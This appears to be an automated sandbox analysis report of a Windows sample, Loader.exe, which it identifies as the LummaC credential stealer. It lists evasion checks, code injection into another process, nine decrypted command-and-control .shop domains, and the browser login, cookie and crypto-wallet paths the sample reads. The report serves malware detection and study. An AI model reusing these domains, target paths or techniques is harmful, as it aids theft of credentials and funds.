Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Window / User API: threadDelayed 8698

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21303

Source: C:\Users\user\Desktop\Loader.exe

API coverage: 6.6 %

Source: C:\Users\user\Desktop\Loader.exe TID: 2484

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002C81D8 FindFirstFileExW,	0_2_002C81D8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002C8289 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_002C8289
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002C81D8 FindFirstFileExW,	6_2_002C81D8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002C8289 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_002C8289

Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWqe
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000006.00000002.3527107091.00000000031EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Loader.exe

API call chain: ExitProcess graph end node

graph_6-34739

Source: C:\Users\user\Desktop\Loader.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_0043C2A0 LdrInitializeThunk,

6_2_0043C2A0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_002B649F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_002B649F

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002E519E mov edi, dword ptr fs:[00000030h]	0_2_002E519E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002A1BA0 mov edi, dword ptr fs:[00000030h]	0_2_002A1BA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002A1BA0 mov edi, dword ptr fs:[00000030h]	6_2_002A1BA0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_002C3BC0 GetProcessHeap,

0_2_002C3BC0

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002B60DF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_002B60DF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002B649F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_002B649F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002B6493 SetUnhandledExceptionFilter,	0_2_002B6493
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002BE5E0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_002BE5E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002B60DF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_002B60DF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002B649F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_002B649F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002B6493 SetUnhandledExceptionFilter,	6_2_002B6493
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002BE5E0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_002BE5E0

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_002E519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_002E519E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Loader.exe

Memory written: C:\Users\user\Desktop\Loader.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fancywaxxers.shop

Source: C:\Users\user\Desktop\Loader.exe

Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_00436890 cpuid

6_2_00436890

Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_002C349D
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_002C7527
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_002C7778
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_002C7820
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_002C7A73
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_002C7AE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_002C7BB5
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_002C7C00
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_002C7CA7
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_002C7DAD
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_002C2F95
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	6_2_002C349D
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_002C7527
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	6_2_002C7778
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_002C7820
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	6_2_002C7A73
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	6_2_002C7AE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	6_2_002C7BB5
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	6_2_002C7C00
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_002C7CA7
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	6_2_002C7DAD
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	6_2_002C2F95

Source: C:\Users\user\Desktop\Loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_002B6A94 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_002B6A94

Source: C:\Users\user\Desktop\Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
